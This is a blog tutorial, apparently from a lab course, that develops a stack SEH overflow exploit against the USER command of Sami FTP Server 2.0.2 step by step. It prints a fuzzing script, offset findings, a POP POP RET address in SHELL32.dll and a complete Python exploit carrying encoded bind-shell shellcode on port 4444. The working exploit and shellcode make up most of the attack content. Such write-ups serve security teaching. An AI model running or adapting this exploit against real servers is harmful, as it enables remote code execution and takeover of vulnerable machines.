Sami FTP Server v2.0.2 SEH USER Buffer Overflow Exploit

Sami FTP Server v2.0.2 SEH USER Buffer Overflow Exploit

Overview on crafting the exploit for a buffer overflow affecting Sami FTP Server v2.0.2

As part of a subject I was tutoring for from the degree I have just graduated from, students were given two applications which were vulnerable to types of buffer overflow vulnerabilities. I chose to do one of the applications as well, the first application was a simple stack overflow which overwrote the EIP register and then allowed for code execution. So I decided to work on the Sami FTP server 2.0.2 application, this is because from my research on the application (to find where to download the vulnerable app and the CVE about the vulnerability) I learnt that this was a Structured Exception Handler (SEH) overflow.

You can download the vulnerable application from here: http://www.exploit-db.com/wp-content/themes/exploit/applications/1ecff72968917b845465afa1c7de630a-Sami_FTP_Server_2.0.2.exe

I’m using a Windows XP Pro SP1 EN virtual machine as my target machine running the vulnerable FTP server.

To begin with, I don’t know the length of the buffer needed to cause the SE overflow but I know it occurs where the application received a long USER command, so I began writing a fuzzing script in python which will cause the SE overflow hopefully, below is my fuzzing script.

#!/usr/bin/python
import socket
 
buffer = ['A']
counter = 0
 
while len(buffer) <= 33:
buffer.append('A'*counter)
counter=counter+100
 
commands = ['USER']
 
for command in commands:
for string in buffer:
print("Fuzzing command: " + command + " with a buffer length of: " + str(len(string)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.3.236",21))
s.recv(1024)
s.send(command + " " + string + "\r\n")
s.recv(1024)
s.send("PASS hi\r\n")
s.recv(1024)
s.send("QUIT\r\n")
s.close()

NOTE: The overflow is only trigger when the log window for the application is viewed on the server side. This also means during the exploit development, you’ll need to delete the SamiFTP.binlog file after each step. Otherwise the previous code will be triggered instead of the current code you are working on.

As you can see above, the application has thrown a SE and the application has crashed around 1400 bytes sent in a buffer. The reason why application has crashed is because the an exception has been caused and the first exception,0x0107fc34, handlers the exception but since the next SEH in the chain is located 4 bytes before the SEH that handlers the SE it has been overwritten by the buffer sent.

Since I was able to cause the SE to occur in the fuzzing process, it’s time to write the base exploit code which will be the first step along the way to code execution. Again the code I produced is below.

#!/usr/bin/python
import socket
import string
 
buffer = "\x41"*2000
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.236",21))
s.recv(1024)
s.send('USER ' + buffer + '\r\n')
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
s.close()

This time after running the code, you can see that the first SEH has been overwritten as well as this time, in the fuzzing phase this didn’t occur because of how we were forming the connections and sending the buffer. Since we’ve overflowed the SEH we need to locate the offset in our buffer which we can use to gain code execution through this vulnerability. To identify the offsets in our buffer, we’ll use the pattern_create.rb and pattern_offset.rb tools from the Metasploit Framework. We generate our unique string with the pattern_create.rb tool and replace our buffer with this string.

The SEHs now have different values, these are the points in our buffer that overwrote the SEH which cause the crash to occur when the SE is triggered. Using pattern_offset.rb, we can determine the locations in our buffer.

  • First SEH = 41307541 (offset: 600)
  • Second SEH = 39744138 (offset: 596)

We will now modify the buffer in the exploit code to make sure we can successfully overwrite the SEH.

#!/usr/bin/python
import socket
import string
 
buffer = "\x41"*596 + "\x42"*4 + "\x43"*4 + "\x44"*800
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.236",21))
s.recv(1024)
s.send('USER ' + buffer + '\r\n')
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
s.close()

We now know we can overwrite the SEH’s but how do we gain control of the application from this point? We as part the SEH tutorials from Corelan, using a series of POP POP RET instructions will cause another exception after the original which will use the next SEH in the chain, the second EH will be a short jump over the first EH into a shellcode. So how do we find the POP POP RET instructions? I will be using the python plugin for Immunity debugger called mona.py, which can be downloaded from here. Restart the application and then use the command “!mona seh” in the dialog box at the bottom of Immunity debugger, then open the output file. From the output file of mona.py, I chose the following POP POP RET instruction.

0x77407f75 : pop edi # pop esi # ret | ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2800.1106 (C:\WINDOWS\system32\SHELL32.dll)

The reasoning for using this set of instructions is because it is marked false in both ALSR and SafeSEH (similar to DEP) which are two mechanisms used to prevent buffer overflows. So let us make the modifications to our exploit code:

  • Replace the “\x42″‘s with the pop pop ret instruction found.
  • modify the second SEH to be a short jump over the first SEH using “\xeb\x06\x90\x90”, this performs a short jump of 6 bytes which will be enough to get over the first exception handler.
  • modify the remaining bytes in the buffer to cause breakpoints (\xcc)
#!/usr/bin/python
import socket
import string
 
SEH = "\x75\x7f\x40\x77" # 0x77407f75 pop pop ret, shell32.dll, Windows Pro SP1 EN
NSEH = "\xeb\x06\x90\x90" # short jump of 6 bytes
buffer = "\x41"*596 + NSEH + SEH + "\xcc"*800
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.236",21))
s.recv(1024)
s.send('USER ' + buffer + '\r\n')
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
s.close()

We can see from the above screenshots, when executed our buffer successfully overwrote the first EH with that POP POP RET instruction and the next EH with the short jump and when stepped through the POP POP RET instruction caused another SE which triggered the next EH which did a short jump over the first EH and into the rest of our buffer which current is just “\xcc”. Now it is time to generate our shellcode and include it into the buffer of our exploit code. This will done using the msfpayload and msfencode modules from the Metasploit Framework as well.

#!/usr/bin/python
import socket
import string
 
# msfpayload windows/shell/bind_tcp LPORT=4444 R| msfencode -b "\x0a\x0d\x00\xff\x20"
# [*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
shellcode = ("\xbe\x90\xfc\x95\x47\xda\xc7\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x4b\x31\x72\x14\x03\x72\x14\x83\xea\xfc\x72\x09\x69" +
"\xaf\xfb\xf2\x92\x30\x9b\x7b\x77\x01\x89\x18\xf3\x30\x1d" +
"\x6a\x51\xb9\xd6\x3e\x42\x4a\x9a\x96\x65\xfb\x10\xc1\x48" +
"\xfc\x95\xcd\x07\x3e\xb4\xb1\x55\x13\x16\x8b\x95\x66\x57" +
"\xcc\xc8\x89\x05\x85\x87\x38\xb9\xa2\xda\x80\xb8\x64\x51" +
"\xb8\xc2\x01\xa6\x4d\x78\x0b\xf7\xfe\xf7\x43\xef\x75\x5f" +
"\x74\x0e\x59\xbc\x48\x59\xd6\x76\x3a\x58\x3e\x47\xc3\x6a" +
"\x7e\x0b\xfa\x42\x73\x52\x3a\x64\x6c\x21\x30\x96\x11\x31" +
"\x83\xe4\xcd\xb4\x16\x4e\x85\x6e\xf3\x6e\x4a\xe8\x70\x7c" +
"\x27\x7f\xde\x61\xb6\xac\x54\x9d\x33\x53\xbb\x17\x07\x77" +
"\x1f\x73\xd3\x16\x06\xd9\xb2\x27\x58\x85\x6b\x8d\x12\x24" +
"\x7f\xb7\x78\x21\x4c\x85\x82\xb1\xda\x9e\xf1\x83\x45\x34" +
"\x9e\xaf\x0e\x92\x59\xcf\x24\x62\xf5\x2e\xc7\x92\xdf\xf4" +
"\x93\xc2\x77\xdc\x9b\x89\x87\xe1\x49\x1d\xd8\x4d\x22\xdd" +
"\x88\x2d\x92\xb5\xc2\xa1\xcd\xa5\xec\x6b\x66\x14\xc8\xc7" +
"\xe1\x54\xee\xf6\xad\xd1\x08\x92\x5d\xb7\x83\x0b\x9c\xec" +
"\x1b\xab\xdf\xc7\x37\x64\x48\x50\x5e\xb2\x77\x61\x74\x90" +
"\xd4\xca\x1f\x63\x37\xcf\x3e\x74\x12\x78\x56\xe3\xe8\xe8" +
"\x15\x95\xed\x21\xcf\x55\x78\xcd\x46\x01\x14\xcf\xbf\x65" +
"\xbb\x30\xea\xfd\x72\xa4\x55\x6a\x7b\x28\x56\x6a\x2d\x22" +
"\x56\x02\x89\x16\x05\x37\xd6\x83\x39\xe4\x43\x2b\x68\x58" +
"\xc3\x43\x96\x87\x23\xcc\x69\xe2\xb5\x31\xbc\xcb\x33\x43" +
"\xca\x3f\xf8")
 
SEH = "\x75\x7f\x40\x77" # 0x77407f75 pop pop ret, shell32.dll, Windows Pro SP1 EN
NSEH = "\xeb\x06\x90\x90"
buffer = "\x41"*596 + NSEH + SEH + "\xcc"*10 + shellcode
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.236",21))
s.recv(1024)
s.send('USER ' + buffer + '\r\n')
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
s.close()

As you can see the payload was successfully executed and we were able to start a bindshell listening on the target machine on port 4444 by exploiting the vulnerability in the USER command of the Sami FTP server 2.0.2 application.

NOTE: During the final step I found that certain bytes gave me issues (“\x0a”, “\x0d”, “\x00”, “\xff” and “\x20”).


© 2021. All rights reserved.

Powered by Hydejack v9.1.6